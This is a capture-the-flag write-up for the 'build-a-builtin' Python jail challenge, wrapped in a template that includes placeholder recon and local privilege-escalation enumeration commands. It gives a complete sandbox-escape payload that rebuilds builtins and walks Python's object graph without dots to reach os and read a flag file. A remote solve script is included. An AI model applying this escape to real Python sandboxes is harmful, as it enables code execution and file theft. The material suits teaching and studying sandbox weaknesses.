← Back to Writeups
HTBN/AMisc

build-a-builtin

XESXOR8/23/20266 min read
#misc#htb#n/a

build-a-builtin

Platform: B01Lersc | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-18 | Status: Solved Techniques: builtin_reconstruction, dotless_attribute_access, object_graph_traversal, traceback_exfiltration

Summary

Task: a Python pyjail forbids literal dots, wipes builtins, and executes attacker input with only a set_builtin helper. Solution: rebuild the primitives step by step, use dotless import syntax to walk Python's object graph, recover os, and leak the randomized flag file through an assertion traceback.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: b01lersc | ID: 20260418_b01lersc_build_a_builtin
  • Tags: pyjail, python, builtins, blacklist, import, traceback
  • Indicators: literal '.' is blacklisted but exec still runs attacker-controlled code, builtins are cleared after saving one helper into exec globals, a helper can write keys back into builtins.dict, Python introspection objects like class, base
  • Source: 20260418_b01lersc_build_a_builtin.md

Foothold

Vulnerability / Misconfiguration

  1. Builtin_reconstruction
  2. Dotless_attribute_access
  3. Object_graph_traversal
  4. Traceback_exfiltration
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • builtin_reconstruction
  • dotless_attribute_access
  • object_graph_traversal
  • traceback_exfiltration
  • Tags: pyjail, python, builtins, blacklist, import, traceback

Original Writeup

<details><summary>Click to expand original content</summary>

Description

No separate organizer prompt was included in the provided files; the challenge was distributed through the service source and Dockerfile.

We are given a Python jail that reads one line of code, rejects any input containing a literal dot, clears builtins, and then executes our code with only one exposed helper: set_builtin(key, val). The goal is to escape that restricted environment, locate the randomized flag filename, and print the flag from the remote service.

Challenge Summary

The intended trap is that normal Python code becomes almost unusable after builtins.__dict__.clear(), and the . blacklist appears to kill normal attribute access. But the jail leaves behind exactly the primitive we need: a function that can repopulate builtins with arbitrary objects. By abusing from m import attr as x as a dotless attribute-access gadget, we can bootstrap from basic object metadata to _sitebuiltins._Printer, recover sys, grab os, and finally read /flag-<hex>.txt.

Source Analysis

The challenge code is short:

#!/usr/local/bin/python3
import builtins

code = input("code > ")

if "." in code:
    print("Nuh uh")
    exit(1)

def set_builtin(key, val):
    builtins.__dict__[key] = val

exec = exec
builtins.__dict__.clear()
exec(code, {"set_builtin": set_builtin}, {})

Important observations:

  1. Only the literal . character is blocked. There is no AST filtering, no ban on import, and no restriction on dunder names.
  2. exec is preserved before the wipe. So our payload still executes even after builtins is cleared.
  3. set_builtin survives inside globals. That means we can write arbitrary names back into builtins.__dict__.
  4. The Dockerfile randomizes the flag filename. We cannot hardcode /flag.txt; we must enumerate / and find flag-<32 hex>.txt.
RUN chmod 755 /app/run && \
    chmod 444 /flag.txt && \
    mv /flag.txt "/flag-$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt"

So the exploit problem becomes: how do we reach useful modules and functions without dots and without builtins?

Key Exploitation Primitive

The key trick is to turn import into a dotless attribute accessor.

If we control __import__, then code like:

from m import __class__ as c

does not need any literal dot in the payload. Python calls our fake __import__, receives an object, and then extracts the requested attribute from that object. So by repeatedly changing what __import__ returns, we can walk an object chain such as:

set_builtin -> __class__ -> __base__ -> __subclasses__ -> chosen subclass
-> __init__ -> __globals__ -> sys -> sys.modules["os"]

That gives us os.listdir, os.open, and os.read without ever writing obj.attr in the payload.

Step-by-Step Exploit Development

1. Bootstrap attribute access without dots

First, repoint __import__ so from m import ... returns the helper itself, then use that to recover the helper's class:

set_builtin("__import__",lambda *a:set_builtin)
from m import __class__ as c

Now c is the function object's class.

2. Climb to object and enumerate subclasses

Repeat the same trick to import __base__ and then __subclasses__:

set_builtin("c",c)
set_builtin("__import__",lambda *a:c)
from m import __base__ as o

set_builtin("o",o)
set_builtin("__import__",lambda *a:o)
from m import __subclasses__ as s

Calling s() gives the full list of currently loaded subclasses of object.

3. Pick a subclass whose globals expose sys

On the remote instance, subclass index 168 was _sitebuiltins._Printer:

w=s()[168]

Its __init__ method is a Python function, so __init__.__globals__ is accessible and contains sys.

4. Recover sys and then os

Continue the same import-steering pattern:

set_builtin("w",w)
set_builtin("__import__",lambda *a:w)
from m import __init__ as q

set_builtin("q",q)
set_builtin("__import__",lambda *a:q)
from m import __globals__ as G
u=G["sys"]

set_builtin("u",u)
set_builtin("__import__",lambda *a:u)
from m import modules as M
v=M["os"]

At that point v is the already-loaded os module.

5. Import file primitives from os

Now we can dotlessly import what we need from os:

set_builtin("v",v)
set_builtin("__import__",lambda *a:v)
from m import listdir as d
from m import open as O
from m import read as R

6. Find the randomized flag path

The root directory listing from the remote service revealed:

flag-c9ab4165e1828e761b7c14e6333da27b.txt

So the payload searched for entries beginning with flag-:

f=[x for x in d("/") if x[:5]=="flag-"][0]

7. Exfiltrate the file through a traceback

We still do not have easy printing primitives, but an assert failure prints its message in the traceback. So we read the file and raise it:

assert 0,R(O("/"+f,0),200)

The service then returned the file bytes directly inside the exception output.

Final Payload

set_builtin("__import__",lambda *a:set_builtin);from m import __class__ as c;set_builtin("c",c);set_builtin("__import__",lambda *a:c);from m import __base__ as o;set_builtin("o",o);set_builtin("__import__",lambda *a:o);from m import __subclasses__ as s;w=s()[168];set_builtin("w",w);set_builtin("__import__",lambda *a:w);from m import __init__ as q;set_builtin("q",q);set_builtin("__import__",lambda *a:q);from m import __globals__ as G;u=G["sys"];set_builtin("u",u);set_builtin("__import__",lambda *a:u);from m import modules as M;v=M["os"];set_builtin("v",v);set_builtin("__import__",lambda *a:v);from m import listdir as d;from m import open as O;from m import read as R;f=[x for x in d("/") if x[:5]=="flag-"][0];assert 0,R(O("/"+f,0),200)

Solution

Below is a compact solve script that sends the working payload to the remote service and extracts the leaked bytes from the traceback.

#!/usr/bin/env python3
import re
import socket
import ssl

HOST = "build-a-builtin.opus4-7.b01le.rs"
PORT = 8443

PAYLOAD = r'''set_builtin("__import__",lambda *a:set_builtin);from m import __class__ as c;set_builtin("c",c);set_builtin("__import__",lambda *a:c);from m import __base__ as o;set_builtin("o",o);set_builtin("__import__",lambda *a:o);from m import __subclasses__ as s;w=s()[168];set_builtin("w",w);set_builtin("__import__",lambda *a:w);from m import __init__ as q;set_builtin("q",q);set_builtin("__import__",lambda *a:q);from m import __globals__ as G;u=G["sys"];set_builtin("u",u);set_builtin("__import__",lambda *a:u);from m import modules as M;v=M["os"];set_builtin("v",v);set_builtin("__import__",lambda *a:v);from m import listdir as d;from m import open as O;from m import read as R;f=[x for x in d("/") if x[:5]=="flag-"][0];assert 0,R(O("/"+f,0),200)'''

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

with socket.create_connection((HOST, PORT)) as sock:
    with ctx.wrap_socket(sock, server_hostname=HOST) as tls:
        tls.recv(4096)
        tls.sendall(PAYLOAD.encode() + b"\n")

        data = b""
        while True:
            chunk = tls.recv(4096)
            if not chunk:
                break
            data += chunk

text = data.decode(errors="replace")
print(text)

match = re.search(r"b'(bctf\{[^']+\})'", text)
if match:
    print("FLAG:", match.group(1))

Expected leak:

b'bctf{REDACTED}'
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR